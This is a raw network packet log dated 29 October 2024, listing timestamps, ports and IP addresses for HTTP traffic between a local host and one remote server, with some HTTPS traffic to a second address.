Oct 29, 2024 17:59:17.842633963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842667103 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842673063 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842685938 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842704058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842727900 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842730999 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842761040 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842780113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842780113 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842792034 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842797995 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842817068 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842818975 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842835903 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842838049 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842854023 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842869043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843463898 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843506098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843516111 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843533993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843554974 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843568087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843624115 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843653917 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843662977 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843672991 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843686104 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843691111 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843704939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843709946 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843728065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843736887 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.843738079 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.843775988 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.844474077 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.844502926 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.844526052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.844527006 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.844536066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.844551086 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.844562054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.844598055 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901628017 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901674032 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901695013 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901725054 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901748896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901753902 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901753902 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901767969 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901787996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901789904 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901803970 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901807070 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901825905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.901835918 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901848078 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.901860952 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907227039 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907259941 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907278061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907282114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907294035 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907320976 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907339096 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907370090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907377958 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907407045 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907416105 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907434940 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907447100 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907454014 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907471895 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907474041 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907490015 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907507896 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907670021 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907689095 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907708883 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.907711983 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907728910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.907744884 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.942667007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.942689896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.942707062 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.942712069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.942743063 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.942743063 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958334923 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958363056 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958400965 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958404064 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958416939 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958425045 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958436012 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958450079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958455086 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958471060 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958487034 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958507061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958560944 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958595037 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958615065 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958642006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958648920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958662987 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958683968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958697081 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.958734035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.958770990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959140062 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959158897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959178925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959178925 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959194899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959212065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959299088 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959336996 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959351063 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959377050 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959388018 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959408998 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959419012 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959439039 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959451914 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959815979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959842920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959855080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959886074 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959923983 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.959980965 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.959999084 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.960017920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.960017920 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.960028887 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.960048914 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.976103067 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.976543903 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.976558924 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.977008104 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.977015972 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.018448114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018471003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018501043 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018518925 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018537998 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018547058 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.018558979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018577099 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.018578053 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.018609047 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024115086 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024135113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024154902 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024164915 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024190903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024327993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024357080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024374008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024378061 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024398088 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024398088 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024415970 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024416924 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024432898 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024432898 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024451017 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024451971 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024465084 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024471998 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024486065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024491072 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024502993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024509907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024521112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024528980 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024559021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024559021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024755001 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024772882 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024792910 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.024796009 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024812937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.024827003 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.059473038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.059499025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.059520960 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.059554100 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.059583902 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.075460911 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.075479031 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.075526953 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.075553894 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076071978 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076100111 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076117992 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076132059 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076134920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076173067 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076183081 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076214075 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076222897 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076253891 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076256990 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076277018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076294899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076316118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076335907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076354027 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076373100 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076379061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076392889 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076404095 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076404095 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076404095 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076412916 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076427937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076432943 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076437950 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076456070 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076472998 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076708078 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076751947 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076766014 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076797962 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076803923 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076821089 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076847076 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076860905 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076860905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076903105 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076905966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076922894 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076941967 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076947927 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076961040 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076972008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076972008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.076980114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.076997995 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.077004910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.077023983 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.077033043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.111084938 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.111171961 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.111326933 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.111387014 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.111402988 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.111434937 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.111442089 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.114234924 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.114254951 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.114339113 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.114500999 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.114511013 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.135536909 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135560989 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135591030 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135615110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135647058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135663033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.135699034 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135704994 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.135715961 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.135744095 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.135760069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.140999079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141027927 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141045094 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141061068 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141077042 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141082048 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141100883 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141136885 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141139984 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141171932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141238928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141253948 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141273975 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141274929 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141293049 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141310930 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141406059 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141421080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141441107 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141443968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141464949 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141479969 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141629934 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141645908 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141664028 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141669989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141686916 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141702890 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141796112 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141834021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141860962 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141899109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.141982079 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.141995907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.142014980 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.142018080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.142035007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.142035961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.142052889 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.142076015 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.158004045 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.158791065 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.158816099 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.159241915 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.159249067 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.161828041 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.162168980 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.162188053 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.162651062 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:18.162655115 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:18.176763058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.176784039 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.176800966 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.176812887 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.176841021 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192787886 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192837954 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192848921 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192872047 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192883968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192903996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192905903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192914963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192938089 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192948103 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192958117 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192965031 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.192976952 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.192997932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:18.193023920 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193039894 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:18.193059921 CET	80	49722	185.215.113.206	192.168.2.6
